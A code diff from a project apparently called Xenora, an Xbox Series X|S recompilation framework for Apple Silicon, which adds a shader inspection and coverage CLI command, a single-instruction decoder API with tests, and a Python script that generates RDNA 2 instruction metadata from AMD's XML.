@@ -6,6 +6,7 @@ Xenora is an experimental Xbox Series X|S recompilation framework for Apple Sili
- Read `README.md` and, when present, `AGENTS.md`, `docs/interfaces.md`, `docs/status.toml` and the relevant architecture decisions.
- Discuss substantial changes in an issue before implementing them; small fixes do not require prior approval.
- Claim an issue before working on it by commenting `/claim`, and check that nobody else holds a live claim first. Claims lapse after 24 hours without a `/progress` comment or a push; comment `/release` if you stop. Coding agents follow the same rules; see "Claiming work before you start" in `AGENTS.md`.
- Use a native ARM64 macOS environment with Rust and the appropriate Xcode/Metal tools. LLVM AMDGPU tools are needed for ISA fixture generation; extra tooling depends on the subsystem.
- Keep changes focused and preserve existing public interfaces unless a change is justified and documented.
Generated
+2
View File
@@ -153,7 +153,9 @@ checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
name = "xenora"
version = "0.1.0"
dependencies = [
"xenora-decoder",
"xenora-import-gen",
"xenora-isa",
"xenora-loader",
"xenora-metal",
"xenora-ref",
+2
View File
@@ -9,6 +9,8 @@ rust-version.workspace = true
workspace = true
[dependencies]
xenora-decoder = { path = "../decoder" }
xenora-isa = { path = "../isa" }
xenora-metal = { path = "../metal" }
xenora-ref = { path = "../ref" }
xenora-shader = { path = "../shader" }
+3 -1
View File
@@ -2,6 +2,7 @@
mod demo;
mod runner;
mod shaders;
use std::process::ExitCode;
@@ -40,6 +41,7 @@ fn main() -> ExitCode {
},
Some("run") => runner::command(std::env::args_os().skip(2)),
Some("imports") => imports_command(std::env::args().skip(2).collect()),
Some("shaders") => shaders::command(&std::env::args().skip(2).collect::<Vec<_>>()),
Some("probe") => {
let args: Vec<String> = std::env::args().collect();
let mut pe_path: Option<String> = None;
@@ -132,7 +134,7 @@ fn main() -> ExitCode {
}
}
_ => {
eprintln!("usage: xenora <info|demo|inspect|probe|run|imports>");
eprintln!("usage: xenora <info|demo|inspect|probe|run|imports|shaders>");
ExitCode::from(2)
}
}
+288
View File
@@ -0,0 +1,288 @@
//! `xenora shaders`: instruction inventory and stream inspection.
use std::process::ExitCode;
use xenora_decoder::{Architecture, SEMANTIC_FORMS, decode_at};
use xenora_isa::meta::{self, EncodingFamily, FORMS, identify};
const USAGE: &str = "usage: xenora shaders <coverage [--json] | inspect <gfx1030.bin>>";
pub fn command(args: &[String]) -> ExitCode {
match args.first().map(String::as_str) {
Some("coverage") => coverage(args.get(1).map(String::as_str) == Some("--json")),
Some("inspect") => match args.get(1) {
Some(path) => inspect(path),
None => usage(),
},
_ => usage(),
}
}
fn usage() -> ExitCode {
eprintln!("{USAGE}");
ExitCode::from(2)
}
fn semantic(family: EncodingFamily) -> usize {
SEMANTIC_FORMS
.iter()
.filter(|(_, form_family)| *form_family == family)
.count()
}
/// Per-family counts. "Discovered" forms come from AMD's XML and are identified
/// with their length; "semantic" forms decode into executable instructions.
/// Reference, Metal and native GPU evidence per form stays in docs/status.toml.
fn coverage(json: bool) -> ExitCode {
print!("{}", coverage_report(json));
ExitCode::SUCCESS
}
fn coverage_report(json: bool) -> String {
use std::fmt::Write as _;
let rows: Vec<_> = meta::inventory()
.into_iter()
.map(|(family, discovered)| (family, discovered, semantic(family)))
.collect();
let total: usize = rows.iter().map(|row| row.1).sum();
let supported: usize = rows.iter().map(|row| row.2).sum();
let mut out = String::new();
if json {
let families: Vec<String> = rows
.iter()
.map(|(family, discovered, semantic)| {
format!(
"{{\"family\":\"{}\",\"discovered\":{discovered},\"semantic\":{semantic}}}",
family.name()
)
})
.collect();
writeln!(
out,
"{{\"architecture\":\"gfx1030\",\"source_sha256\":\"{}\",\"discovered\":{total},\"semantic\":{supported},\"families\":[{}]}}",
meta::SOURCE_SHA256,
families.join(",")
)
.unwrap();
} else {
writeln!(
out,
"{:<10} {:>10} {:>9}",
"family", "discovered", "semantic"
)
.unwrap();
for (family, discovered, semantic) in &rows {
writeln!(out, "{:<10} {discovered:>10} {semantic:>9}", family.name()).unwrap();
}
writeln!(out, "{:<10} {total:>10} {supported:>9}", "total").unwrap();
writeln!(
out,
"Semantic forms decode for the operand subsets in docs/status.toml only."
)
.unwrap();
}
out
}
fn inspect(path: &str) -> ExitCode {
let bytes = match std::fs::read(path) {
Ok(bytes) => bytes,
Err(error) => {
eprintln!("{path}: {error}");
return ExitCode::FAILURE;
}
};
let listing = listing(&bytes);
for row in &listing.rows {
println!("{row}");
}
if let Some(failure) = listing.failure {
println!("{failure}");
return ExitCode::FAILURE;
}
println!(
"{} instructions inspected against {} gfx1030 forms; {} without semantic decoding",
listing.rows.len(),
FORMS.len(),
listing.unsupported
);
ExitCode::SUCCESS
}
/// The printed rows of `xenora shaders inspect`, the number of rows that do
/// not decode into executable instructions and the identification failure
/// that ended the stream early, if any.
struct Listing {
rows: Vec<String>,
unsupported: usize,
failure: Option<String>,
}
fn listing(bytes: &[u8]) -> Listing {
let mut listing = Listing {
rows: Vec::new(),
unsupported: 0,
failure: None,
};
// Identify every instruction first: a branch target is valid only if it
// lands on one of these boundaries, which no single instruction can show.
let mut forms = Vec::new();
let mut offset = 0;
while offset < bytes.len() {
match identify(&bytes[offset..]) {
Ok(found) => {
forms.push((offset, found));
offset += found.len;
}
Err(error) => {
listing.failure = Some(format!("{offset:#06x} decode failure: {error}"));
break;
}
}
}
let boundary = |target: usize| forms.binary_search_by_key(&target, |form| form.0).is_ok();
// Past the last identified instruction the boundaries are unknown.
let identified = forms
.last()
.map_or(0, |&(offset, found)| offset + found.len);
for &(offset, found) in &forms {
let instruction = &bytes[offset..offset + found.len];
let words: Vec<String> = instruction
.chunks(4)
.map(|chunk| format!("{:08x}", u32::from_le_bytes(chunk.try_into().unwrap())))
.collect();
let status = match decode_at(Architecture::Gfx1030, &bytes[..offset + found.len], offset) {
Ok(decoded) => match decoded.branch_target() {
Some(target) if listing.failure.is_some() && target >= identified => {
format!("branch target {target:#04x} unverified: stream not identified there")
}
Some(target) if !boundary(target) => {
format!("invalid branch target {target:#04x}")
}
_ => "semantic".to_owned(),
},
Err(error) if SEMANTIC_FORMS.contains(&(found.form.name, found.form.family)) => {
format!("unsupported operands: {error}")
}
Err(_) => "unsupported instruction semantics".to_owned(),
};
if status != "semantic" {
listing.unsupported += 1;
}
listing.rows.push(format!(
"{offset:#06x} {:<8} {:<28} {:<26} {status}",
found.form.family.name(),
found.form.name.to_ascii_lowercase(),
words.join(" ")
));
}
listing
}
#[cfg(test)]
mod tests {
use super::{coverage_report, listing};
use xenora_decoder::SEMANTIC_FORMS;
use xenora_isa::meta::{EncodingFamily, FORMS};
#[test]
fn coverage_totals_match_the_generated_table() {
let json = coverage_report(true);
assert!(json.starts_with("{\"architecture\":\"gfx1030\""), "{json}");
assert!(json.ends_with("}]}\n"), "{json}");
assert_eq!(json.matches('{').count(), json.matches('}').count());
let totals = format!(
"\"discovered\":{},\"semantic\":{},\"families\":[",
FORMS.len(),
SEMANTIC_FORMS.len()
);
assert!(json.contains(&totals), "{json}");
let families: Vec<usize> = json
.split("{\"family\":")
.skip(1)
.map(|row| {
let count = row.split("\"discovered\":").nth(1).unwrap();
count[..count.find(',').unwrap()].parse().unwrap()
})
.collect();
assert_eq!(families.len(), EncodingFamily::ALL.len());
assert_eq!(families.iter().sum::<usize>(), FORMS.len());
let text = coverage_report(false);
let total = format!(
"{:<10} {:>10} {:>9}\n",
"total",
FORMS.len(),
SEMANTIC_FORMS.len()
);
assert!(text.contains(&total), "{text}");
}
fn program(words: &[u32]) -> Vec<u8> {
words.iter().flat_map(|word| word.to_le_bytes()).collect()
}
#[test]
fn branches_in_a_valid_program_are_semantic() {
let fixture = include_bytes!("../../../fixtures/rdna2/bitwise-branch.bin");
let listing = listing(fixture);
assert_eq!(listing.failure, None);
assert_eq!(listing.rows.len(), 15);
let branches: Vec<_> = listing
.rows
.iter()
.filter(|row| row.contains("branch"))
.collect();
assert_eq!(branches.len(), 3);
for row in &branches {
assert!(row.ends_with(" semantic"), "{row}");
}
assert_eq!(listing.unsupported, 0);
}
#[test]
fn targets_past_an_identification_failure_are_unverified() {
// s_branch 1 targets 0x08; 0xbfff0000 is not a gfx1030 form, so
// nothing past 0x04 is identified; s_endpgm.
let listing = listing(&program(&[0xbf82_0001, 0xbfff_0000, 0xbf81_0000]));
assert!(listing.failure.as_deref().unwrap().starts_with("0x0004"));
assert_eq!(listing.rows.len(), 1);
assert!(
listing.rows[0].ends_with("branch target 0x08 unverified: stream not identified there"),
"{}",
listing.rows[0]
);
}
#[test]
fn add_fixture_is_fully_semantic() {
let listing = listing(include_bytes!("../../../fixtures/rdna2/add.bin"));
assert_eq!(listing.failure, None);
assert_eq!(listing.rows.len(), 7);
assert_eq!(listing.unsupported, 0);
}
#[test]
fn branch_targets_are_checked_against_the_whole_stream() {
// s_branch 1 skips one word; s_cbranch_scc0 1 lands inside the
// two-word v_mov_b32 literal form; s_endpgm.
let listing = listing(&program(&[
0xbf82_0001,
0xbf84_0001,
0x7e04_02ff,
0x00ff_00ff,
0xbf81_0000,
]));
assert_eq!(listing.failure, None);
assert!(
listing.rows[0].ends_with(" semantic"),
"{}",
listing.rows[0]
);
assert!(
listing.rows[1].ends_with("invalid branch target 0x0c"),
"{}",
listing.rows[1]
);
assert_eq!(listing.unsupported, 1);
}
}
+77 -15
View File
@@ -12,6 +12,39 @@ use xenora_isa::{
V_LSHLREV_B32, V_LSHRREV_B32, V_MOV_B32, V_MUL_F32, V_OR_B32, V_XOR_B32,
};
use xenora_isa::meta::EncodingFamily;
/// Metadata forms that [`decode`] turns into an [`Instruction`] for at least one
/// operand combination. Operand restrictions are listed in docs/status.toml;
/// every other form in [`xenora_isa::meta::FORMS`] is rejected as unsupported.
pub const SEMANTIC_FORMS: [(&str, EncodingFamily); 25] = [
("BUFFER_LOAD_DWORD", EncodingFamily::Mubuf),
("BUFFER_STORE_DWORD", EncodingFamily::Mubuf),
("EXP", EncodingFamily::Exp),
("IMAGE_SAMPLE_LZ", EncodingFamily::Mimg),
("S_BRANCH", EncodingFamily::Sopp),
("S_CBRANCH_EXECZ", EncodingFamily::Sopp),
("S_CBRANCH_SCC0", EncodingFamily::Sopp),
("S_CBRANCH_VCCZ", EncodingFamily::Sopp),
("S_CMP_EQ_U32", EncodingFamily::Sopc),
("S_ENDPGM", EncodingFamily::Sopp),
("S_MOV_B32", EncodingFamily::Sop1),
("S_WAITCNT", EncodingFamily::Sopp),
("S_WAITCNT_VSCNT", EncodingFamily::Sopk),
("V_ADD_F32", EncodingFamily::Vop2),
("V_ADD_NC_U32", EncodingFamily::Vop3),
("V_AND_B32", EncodingFamily::Vop2),
("V_ASHRREV_I32", EncodingFamily::Vop2),
("V_INTERP_P1_F32", EncodingFamily::Vintrp),
("V_INTERP_P2_F32", EncodingFamily::Vintrp),
("V_LSHLREV_B32", EncodingFamily::Vop2),
("V_LSHRREV_B32", EncodingFamily::Vop2),
("V_MOV_B32", EncodingFamily::Vop1),
("V_MUL_F32", EncodingFamily::Vop2),
("V_OR_B32", EncodingFamily::Vop2),
("V_XOR_B32", EncodingFamily::Vop2),
];
/// A successfully decoded instruction and its location in the input stream.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct DecodedInstruction {
@@ -23,6 +56,20 @@ pub struct DecodedInstruction {
pub instruction: Instruction,
}
impl DecodedInstruction {
/// Destination byte offset of a branch, from the start of the stream.
#[must_use]
pub fn branch_target(&self) -> Option<usize> {
match self.instruction {
Instruction::Branch { target }
| Instruction::BranchSccZero { target }
| Instruction::BranchExecZero { target }
| Instruction::BranchVccZero { target } => Some(target),
_ => None,
}
}
}
impl fmt::Display for DecodedInstruction {
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(formatter, "{:04x}: {}", self.offset, self.instruction)
@@ -107,26 +154,15 @@ pub fn decode(
architecture: Architecture,
bytes: &[u8],
) -> Result<Vec<DecodedInstruction>, DecodeError> {
let decode_instruction = match architecture {
Architecture::Gfx1030 => decode_gfx1030,
};
let mut result = Vec::new();
let mut offset = 0;
while offset < bytes.len() {
let (instruction, byte_len) = decode_instruction(&bytes[offset..], offset)
.map_err(|kind| DecodeError { offset, kind })?;
result.push(DecodedInstruction {
offset,
byte_len,
instruction,
});
offset += usize::from(byte_len);
let decoded = decode_at(architecture, bytes, offset)?;
offset += usize::from(decoded.byte_len);
result.push(decoded);
}
for decoded in &result {
if let Instruction::Branch { target }
| Instruction::BranchSccZero { target }
| Instruction::BranchExecZero { target }
| Instruction::BranchVccZero { target } = decoded.instruction
if let Some(target) = decoded.branch_target()
&& result
.binary_search_by_key(&target, |item| item.offset)
.is_err()
@@ -140,6 +176,32 @@ pub fn decode(
Ok(result)
}
/// Decodes the one instruction that starts at `offset` in `bytes`. Branch
/// targets are stream offsets, but whether they land on an instruction
/// boundary is left to the caller, which knows the rest of the stream.
///
/// # Errors
///
/// Returns `offset` with a truncated instruction, unsupported opcode or
/// unsupported form. An `offset` at or past the end is truncated.
pub fn decode_at(
architecture: Architecture,
bytes: &[u8],
offset: usize,
) -> Result<DecodedInstruction, DecodeError> {
let decode_instruction = match architecture {
Architecture::Gfx1030 => decode_gfx1030,
};
let rest = bytes.get(offset..).unwrap_or_default();
let (instruction, byte_len) =
decode_instruction(rest, offset).map_err(|kind| DecodeError { offset, kind })?;
Ok(DecodedInstruction {
offset,
byte_len,
instruction,
})
}
fn word(bytes: &[u8], end: u8) -> Result<u32, DecodeErrorKind> {
let end_index = usize::from(end);
let Some(word) = bytes
+27 -1
View File
@@ -4,7 +4,7 @@ use std::process::{Command, Stdio};
use xenora_decoder::{
Architecture, DecodeError, DecodeErrorKind, DecodedInstruction, Instruction, ScalarSource,
VectorSource, decode,
VectorSource, decode, decode_at,
};
use xenora_ref::{BranchCondition, Op, Source, VectorAlu};
@@ -786,3 +786,29 @@ fn accepts_scalar_destination_105_and_vgpr_zero_add_sources() {
}
);
}
#[test]
fn decode_at_resolves_branch_targets_from_the_stream_offset() {
let decoded = decode_at(Architecture::Gfx1030, BITWISE_FIXTURE, 0x1c).unwrap();
assert_eq!(decoded.offset, 0x1c);
assert_eq!(decoded.byte_len, 4);
assert_eq!(decoded.branch_target(), Some(0x3c));
// Alone, the same branch still reports its stream target; only the whole
// stream can say whether that target is an instruction boundary.
let isolated = decode_at(Architecture::Gfx1030, &BITWISE_FIXTURE[..0x20], 0x1c).unwrap();
assert_eq!(isolated.branch_target(), Some(0x3c));
assert_eq!(
decode_at(
Architecture::Gfx1030,
BITWISE_FIXTURE,
BITWISE_FIXTURE.len()
),
Err(DecodeError {
offset: BITWISE_FIXTURE.len(),
kind: DecodeErrorKind::Truncated {
needed: 4,
available: 0
},
})
);
}
+54
View File
@@ -0,0 +1,54 @@
//! Ties the decoder's declared semantic forms to what it decodes from LLVM-assembled fixtures.
use std::collections::BTreeSet;
use std::fs;
use std::path::Path;
use xenora_decoder::{Architecture, SEMANTIC_FORMS, decode};
use xenora_isa::meta::{FORMS, identify};
#[test]
fn declared_semantic_forms_are_exactly_those_decoded_from_fixtures() {
let directory = Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/rdna2");
let mut decoded = BTreeSet::new();
for entry in fs::read_dir(directory).unwrap() {
let path = entry.unwrap().path();
if path.extension().is_none_or(|extension| extension != "bin") {
continue;
}
let binary = fs::read(&path).unwrap();
for instruction in decode(Architecture::Gfx1030, &binary).unwrap() {
let found = identify(&binary[instruction.offset..]).unwrap();
assert_eq!(
found.len,
usize::from(instruction.byte_len),
"{}",
path.display()
);
decoded.insert((found.form.name, found.form.family));
}
}
let declared: BTreeSet<_> = SEMANTIC_FORMS.into_iter().collect();
assert!(
decoded.is_subset(&declared),
"{:?}",
decoded.difference(&declared)
);
// Covered by inline words in tests/gfx1030.rs rather than fixture binaries.
let inline_only: BTreeSet<_> = declared
.difference(&decoded)
.map(|(name, _)| *name)
.collect();
assert_eq!(
inline_only,
BTreeSet::from(["IMAGE_SAMPLE_LZ", "S_CBRANCH_EXECZ", "S_CBRANCH_VCCZ"])
);
for (name, family) in SEMANTIC_FORMS {
assert!(
FORMS
.iter()
.any(|form| form.name == name && form.family == family),
"{name}"
);
}
}
File diff suppressed because it is too large. Load diff
+437
View File
@@ -0,0 +1,437 @@
#!/usr/bin/env python3
"""Generate the complete gfx1030 instruction metadata table.
Two stages keep regeneration offline and checkable without the 11 MB AMD XML:
snapshot AMD RDNA 2 XML -> crates/isa/data/rdna2.jsonl (normalised, sorted)
rust crates/isa/data/rdna2.jsonl -> crates/isa/src/rdna2_meta.rs
`--check` regenerates in memory and fails when a committed file differs.
Only the Python standard library is used. See docs/research/rdna2.md.
"""
import argparse
import hashlib
import json
import sys
from pathlib import Path
from xml.etree import ElementTree
SOURCE_SHA256 = "d671ecbc36543674ab59e9b2feffd56718fd2137e7ad913c314f2e2508b9f4f7"
ARCHITECTURE = "AMD RDNA 2"
ROOT = Path(__file__).resolve().parents[2]
SNAPSHOT = ROOT / "crates/isa/data/rdna2.jsonl"
RUST = ROOT / "crates/isa/src/rdna2_meta.rs"
SCHEMA = 1
# Encodings whose default condition defines an instruction's base form. The
# remaining XML encodings are literal, SDWA, DPP or NSA extensions of these.
BASE_ENCODINGS = {
"ENC_SOP1": "Sop1",
"ENC_SOP2": "Sop2",
"ENC_SOPC": "Sopc",
"ENC_SOPK": "Sopk",
"ENC_SOPP": "Sopp",
"ENC_SMEM": "Smem",
"ENC_VOP1": "Vop1",
"ENC_VOP2": "Vop2",
"ENC_VOPC": "Vopc",
"ENC_VOP3": "Vop3",
"VOP3_SDST_ENC": "Vop3Sdst",
"ENC_VOP3P": "Vop3p",
"ENC_VINTRP": "Vintrp",
"ENC_DS": "Ds",
"ENC_MUBUF": "Mubuf",
"ENC_MTBUF": "Mtbuf",
"ENC_MIMG": "Mimg",
"ENC_EXP": "Exp",
"ENC_FLAT": "Flat",
"ENC_FLAT_GLBL": "Global",
"ENC_FLAT_SCRATCH": "Scratch",
}
# Extension encoding -> (base encoding, extension kind). The XML names the
# variant and its operands but gives no expression for when it applies; the
# decoder implements those rules by hand (docs/research/rdna2.md).
EXTENSIONS = {
"SOP1_INST_LITERAL": ("ENC_SOP1", "literal"),
"SOP2_INST_LITERAL": ("ENC_SOP2", "literal"),
"SOPC_INST_LITERAL": ("ENC_SOPC", "literal"),
"SOPK_INST_LITERAL": ("ENC_SOPK", "literal"),
"VOP1_INST_LITERAL": ("ENC_VOP1", "literal"),
"VOP2_INST_LITERAL": ("ENC_VOP2", "literal"),
"VOPC_INST_LITERAL": ("ENC_VOPC", "literal"),
"VOP3_INST_LITERAL": ("ENC_VOP3", "literal"),
"VOP3_SDST_ENC_INST_LITERAL": ("VOP3_SDST_ENC", "literal"),
"VOP3P_INST_LITERAL": ("ENC_VOP3P", "literal"),
"VOP1_VOP_SDWA": ("ENC_VOP1", "sdwa"),
"VOP2_VOP_SDWA": ("ENC_VOP2", "sdwa"),
"VOP2_VOP_SDWA_SDST_ENC": ("ENC_VOP2", "sdwa"),
"VOPC_VOP_SDWA_SDST_ENC": ("ENC_VOPC", "sdwa"),
"VOP1_VOP_DPP8": ("ENC_VOP1", "dpp8"),
"VOP2_VOP_DPP8": ("ENC_VOP2", "dpp8"),
"VOP1_VOP_DPP16": ("ENC_VOP1", "dpp16"),
"VOP2_VOP_DPP16": ("ENC_VOP2", "dpp16"),
"MIMG_NSA1": ("ENC_MIMG", "nsa"),
"MIMG_NSA2": ("ENC_MIMG", "nsa"),
"MIMG_NSA3": ("ENC_MIMG", "nsa"),
}
FLAGS = ("IsBranch", "IsConditionalBranch", "IsIndirectBranch", "IsProgramTerminator", "IsImmediatelyExecuted")
def fail(message):
raise SystemExit(f"generate_rdna2_meta: {message}")
def text(element, path):
value = element.findtext(path)
if value is None:
fail(f"missing <{path}>")
return value.strip()
def boolean(value):
if value not in ("TRUE", "FALSE", "true", "false"):
fail(f"unexpected boolean {value!r}")
return value.lower() == "true"
def snapshot_from_xml(data):
if hashlib.sha256(data).hexdigest() != SOURCE_SHA256:
fail("RDNA 2 XML does not match the approved input SHA-256")
root = ElementTree.fromstring(data)
document = root.find("Document")
isa = root.find("ISA")
if text(isa, "Architecture/ArchitectureName") != ARCHITECTURE:
fail("XML is not the RDNA 2 architecture")
records = [{
"kind": "source",
"schema": SCHEMA,
"architecture": ARCHITECTURE,
"sha256": SOURCE_SHA256,
"release": text(document, "ReleaseDate"),
"xml_schema": text(document, "SchemaVersion"),
"license": text(document, "License"),
"copyright": text(document, "Copyright"),
}]
known = set(BASE_ENCODINGS) | set(EXTENSIONS)
encodings = {}
for encoding in isa.findall("Encodings/Encoding"):
name = text(encoding, "EncodingName")
if name not in known:
fail(f"unclassified encoding {name}; add it to BASE_ENCODINGS or EXTENSIONS")
bits = int(text(encoding, "BitCount"))
mask = int(text(encoding, "EncodingIdentifierMask"), 2)
identifiers = sorted(int(item.text, 2) for item in encoding.findall("EncodingIdentifiers/EncodingIdentifier"))
if mask >> 32 or any(identifier >> 32 for identifier in identifiers):
fail(f"{name} identifies instructions beyond the first dword")
fields = []
for field in encoding.findall("MicrocodeFormat/BitMap/Field"):
ranges = sorted(field.findall("BitLayout/Range"), key=lambda item: int(item.attrib.get("Order", 0)))
fields.append([
text(field, "FieldName"),
[[int(text(item, "BitOffset")), int(text(item, "BitCount"))] for item in ranges],
])
fields.sort(key=lambda item: (item[1][0][0], item[0]))
encodings[name] = {"mask": mask, "identifiers": set(identifiers)}
records.append({
"kind": "encoding",
"name": name,
"bits": bits,
"identifier_mask": mask,
"identifiers": identifiers,
"conditions": sorted(text(item, "ConditionName") for item in encoding.findall("EncodingConditions/EncodingCondition")),
"fields": fields,
})
missing = known - set(encodings)
if missing:
fail(f"encodings absent from the XML: {sorted(missing)}")
for operand_type in isa.findall("OperandTypes/OperandType"):
values = sorted(
[text(value, "Name"), int(text(value, "Value"))]
for value in operand_type.findall("OperandPredefinedValues/PredefinedValue")
)
records.append({
"kind": "operand_type",
"name": text(operand_type, "OperandTypeName"),
"partitioned": boolean(operand_type.attrib.get("IsPartitioned", "false")),
"values": values,
})
for data_format in isa.findall("DataFormats/DataFormat"):
records.append({
"kind": "data_format",
"name": text(data_format, "DataFormatName"),
"data_type": text(data_format, "DataType"),
"bits": int(text(data_format, "BitCount")),
"components": int(text(data_format, "ComponentCount")),
})
seen = set()
for instruction in isa.findall("Instructions/Instruction"):
name = text(instruction, "InstructionName")
flags = {flag: boolean(text(instruction, f"InstructionFlags/{flag}")) for flag in FLAGS}
group = instruction.find("FunctionalGroup")
for variant in instruction.findall("InstructionEncodings/InstructionEncoding"):
encoding_name = text(variant, "EncodingName")
condition = text(variant, "EncodingCondition")
opcode = int(text(variant, "Opcode"))
key = (name, encoding_name, condition)
if key in seen:
fail(f"duplicate variant {key}")
seen.add(key)
operands = []
for operand in sorted(variant.findall("Operands/Operand"), key=lambda item: int(item.attrib["Order"])):
operands.append([
operand.findtext("FieldName") or "",
operand.findtext("DataFormatName") or "",
operand.findtext("OperandType") or "",
int(operand.findtext("OperandSize") or 0),
boolean(operand.attrib["Input"]),
boolean(operand.attrib["Output"]),
boolean(operand.attrib["IsImplicit"]),
boolean(operand.attrib.get("IsBinaryMicrocodeRequired", "true")),
])
record = {
"kind": "variant",
"instruction": name,
"encoding": encoding_name,
"condition": condition,
"opcode": opcode,
}
# Extension variants keep only what classifies them; their
# operands repeat the base form with a literal, SDWA, DPP or NSA word.
if encoding_name in BASE_ENCODINGS or condition == "default":
record.update({
"flags": sorted(flag for flag, value in flags.items() if value),
"group": text(group, "Name"),
"subgroups": sorted(item.text.strip() for item in group.findall("FunctionalSubgroups/Subgroup")),
"operands": operands,
})
records.append(record)
order = {"source": 0, "encoding": 1, "operand_type": 2, "data_format": 3, "variant": 4}
records.sort(key=lambda record: (
order[record["kind"]],
record.get("name", ""),
record.get("encoding", ""),
record.get("instruction", ""),
record.get("condition", ""),
))
return "".join(json.dumps(record, sort_keys=True, separators=(",", ":")) + "\n" for record in records)
def place(value, ranges):
"""Places `value` into a field layout; returns (mask, bits) within the first two dwords."""
mask = bits = 0
for offset, count in ranges:
if offset + count > 64:
fail("opcode field extends beyond the second dword")
low = (1 << count) - 1
bits |= (value & low) << offset
mask |= low << offset
value >>= count
if value:
fail("opcode does not fit its field")
return mask, bits
def forms_from_snapshot(snapshot):
records = [json.loads(line) for line in snapshot.splitlines()]
source = records[0]
if source.get("kind") != "source" or source.get("schema") != SCHEMA or source.get("sha256") != SOURCE_SHA256:
fail("snapshot header does not match this generator")
encodings = {record["name"]: record for record in records if record["kind"] == "encoding"}
variants = [record for record in records if record["kind"] == "variant"]
extensions = {}
for variant in variants:
if variant["encoding"] in EXTENSIONS:
base, kind = EXTENSIONS[variant["encoding"]]
entry = extensions.setdefault((variant["instruction"], base), set())
if kind == "literal" and variant["condition"] == "default":
entry.add("always_literal")
entry.add(kind)
based = {(variant["instruction"], variant["encoding"]) for variant in variants if variant["encoding"] in BASE_ENCODINGS}
forms = []
for variant in variants:
encoding_name = variant["encoding"]
identity = encoding_name
if encoding_name in EXTENSIONS:
# A few instructions exist only with a literal (S_SETREG_IMM32_B32,
# V_FMAMK_F32, ...): the XML lists them under the literal encoding's
# default condition and gives them no base variant.
base, kind = EXTENSIONS[encoding_name]
if kind != "literal" or variant["condition"] != "default" or (variant["instruction"], base) in based:
continue
encoding_name = base
elif encoding_name not in BASE_ENCODINGS:
continue
# Three VOP1/VOP3 relative moves name the excluded extensions instead of "default".
if variant["condition"] != "default" and not variant["condition"].startswith("Nothas_"):
fail(f"{variant['instruction']} has non-default base condition {variant['condition']}")
encoding = encodings[encoding_name]
id_encoding = encodings[identity]
fields = dict((name, ranges) for name, ranges in encoding["fields"])
prefix_mask, _ = place(0, fields["ENCODING"])
prefixes = {identifier & prefix_mask for identifier in id_encoding["identifiers"]}
if len(prefixes) != 1:
fail(f"{encoding_name} has an ambiguous encoding prefix")
prefix = prefixes.pop()
id_mask = id_encoding["identifier_mask"] & 0xFFFFFFFF
opcode = variant["opcode"]
if "OP" in fields:
op_mask, op_bits = place(opcode, fields["OP"])
elif opcode == 0:
op_mask = op_bits = 0
else:
fail(f"{encoding_name} has no OP field for opcode {opcode}")
# The identifier mask can add selector bits beyond ENCODING and OP,
# such as the FLAT segment field. Take them from the listed identifier.
# MTBUF keeps one opcode bit in the second dword, which the
# first-dword identifiers cannot express; carry it separately.
low = 0xFFFFFFFF
candidates = sorted({
identifier & 0xFFFFFFFF for identifier in id_encoding["identifiers"]
if identifier & (prefix_mask | op_mask) & low == (prefix | op_bits) & low
})
if len(candidates) != 1:
fail(f"{variant['instruction']} matches {len(candidates)} {encoding_name} identifiers")
forms.append({
"name": variant["instruction"],
"encoding": BASE_ENCODINGS[encoding_name],
"opcode": opcode,
# Opcode bits outside the identifier mask (MIMG bit 0, MTBUF bit 53)
# still select the instruction.
"mask": id_mask | op_mask,
"bits": (candidates[0] & id_mask) | op_bits,
"bytes": encoding["bits"] // 8,
"flags": variant["flags"],
"group": variant["group"],
"extensions": sorted(extensions.get((variant["instruction"], encoding_name), ())),
"operands": variant["operands"],
})
by_pattern = {}
for form in forms:
if form["bits"] & ~form["mask"]:
fail(f"{form['name']} has identifying bits outside its mask")
key = (form["mask"], form["bits"])
if key in by_pattern:
fail(f"{form['name']} and {by_pattern[key]['name']} share an encoding")
by_pattern[key] = form
for left in forms:
for right in forms:
if left is right or left["mask"] == right["mask"]:
continue
common = left["mask"] & right["mask"]
if (left["bits"] ^ right["bits"]) & common == 0:
fail(f"{left['name']} ({left['encoding']}) overlaps {right['name']} ({right['encoding']})")
forms.sort(key=lambda form: (form["encoding"], form["opcode"]))
return source, encodings, forms
def rust_from_snapshot(snapshot):
source, encodings, forms = forms_from_snapshot(snapshot)
out = []
emit = out.append
emit("// Generated by crates/isa/generate_rdna2_meta.py from crates/isa/data/rdna2.jsonl. Do not edit.")
emit(f"// Source: AMD RDNA 2 XML, {source['release']}, schema {source['xml_schema']}, SHA-256 {source['sha256']}.")
emit(f"// {source['copyright']}")
emit("// SPDX-License-Identifier: MIT")
emit("")
emit("use super::meta::{EncodingFamily, Extensions, FieldLayout, Form, FormFlags, OperandInfo};")
emit("")
emit(f'/// SHA-256 of the AMD XML the table was generated from.\npub const SOURCE_SHA256: &str = "{source["sha256"]}";')
emit("")
operand_sets = {}
for form in forms:
operand_sets.setdefault(json.dumps(form["operands"]), len(operand_sets))
emit("static OPERANDS: [&[OperandInfo]; %d] = [" % len(operand_sets))
for operands_json in operand_sets:
operands = json.loads(operands_json)
items = ", ".join(
"OperandInfo { field: %s, format: %s, kind: %s, bits: %d, input: %s, output: %s, implicit: %s, encoded: %s }"
% (json.dumps(field), json.dumps(data_format), json.dumps(kind), size,
str(i).lower(), str(o).lower(), str(implicit).lower(), str(encoded).lower())
for field, data_format, kind, size, i, o, implicit, encoded in operands
)
emit(f" &[{items}],")
emit("];")
emit("")
families = sorted({form["encoding"] for form in forms})
emit("/// Field layouts of each base encoding, as (bit offset, bit count) pieces from least significant.")
emit("pub static FIELDS: [(EncodingFamily, &[FieldLayout]); %d] = [" % len(families))
reverse = {value: key for key, value in BASE_ENCODINGS.items()}
for family in families:
fields = encodings[reverse[family]]["fields"]
items = ", ".join(
"FieldLayout { name: %s, pieces: &[%s] }" % (json.dumps(name), ", ".join(f"({o}, {c})" for o, c in ranges))
for name, ranges in fields
)
emit(f" (EncodingFamily::{family}, &[{items}]),")
emit("];")
emit("")
flag_bits = {
"IsBranch": 1,
"IsConditionalBranch": 2,
"IsIndirectBranch": 4,
"IsProgramTerminator": 8,
"IsImmediatelyExecuted": 16,
}
extension_bits = {"literal": 1, "always_literal": 2, "sdwa": 4, "dpp8": 8, "dpp16": 16, "nsa": 32}
